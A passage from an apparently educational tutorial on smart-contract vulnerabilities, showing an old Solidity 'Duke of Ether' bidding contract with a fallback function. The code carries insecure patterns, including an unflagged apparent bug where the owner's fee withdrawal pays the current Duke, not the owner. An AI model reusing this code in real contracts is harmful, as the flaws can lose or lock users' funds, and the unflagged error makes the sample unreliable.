Then, there is no default function (fallback) in our contract: do we need it? Technically, it is nice to have the fallback to do the same job that becomeDuke() does, but that would mean we have to make sure there is no way of abusing it.

pragma solidity ^0.4.11;

contract DukeOfEther_10 
{
	address m_addrCurrentDuke;
	uint m_nCurrentDukePaid;			// Cost current Duke paid in finney
	address m_addrOwner;
	uint m_nOwnersFee;			// Cumulative payment to the owner

	function DukeOfEther_10()
	{
		m_addrOwner = msg.sender;
	}

	// ---

	function becomeDuke() payable
	{
		if(msg.value < 11 * m_nCurrentDukePaid / 10)
			throw;

		uint nFee = msg.value / 25;	// 4% of 10% == 0.4%
		m_nOwnersFee += nFee;
		m_addrCurrentDuke.transfer(msg.value - nFee);

		m_addrCurrentDuke = msg.sender;
    		m_nCurrentDukePaid = msg.value;
	}

	function () payable
	{
		becomeDuke();
	}
	
	// ---
	
	function isOwner() constant returns (bool bIsOwner) { return (m_addrOwner == msg.sender); }
	function isDuke() constant returns (bool bIsDuke) { return (m_addrCurrentDuke == msg.sender); }
	function getMinNextBet() constant returns (uint nNextBet) { return  11 * m_nCurrentDukePaid / 10; }

	function getOwnersFee() constant returns (uint nFee) { return m_nOwnersFee; }

	function withdrawOwnersFee(uint nFee)
	{
		// Withdraw owner's share.
		if (msg.sender == m_addrOwner && nFee <= m_nOwnersFee) 
		{
			m_addrCurrentDuke.transfer(nFee);
			m_nOwnersFee -= nFee;
		}
	}
}

Conclusion

We have examined couple of the most important vulnerabilities that can be unintentionally introduced to a smart contract. I am going to talk about possible attacks more, as we move through the next chapters.







(C) snowcron.com, all rights reserved

Please read the disclaimer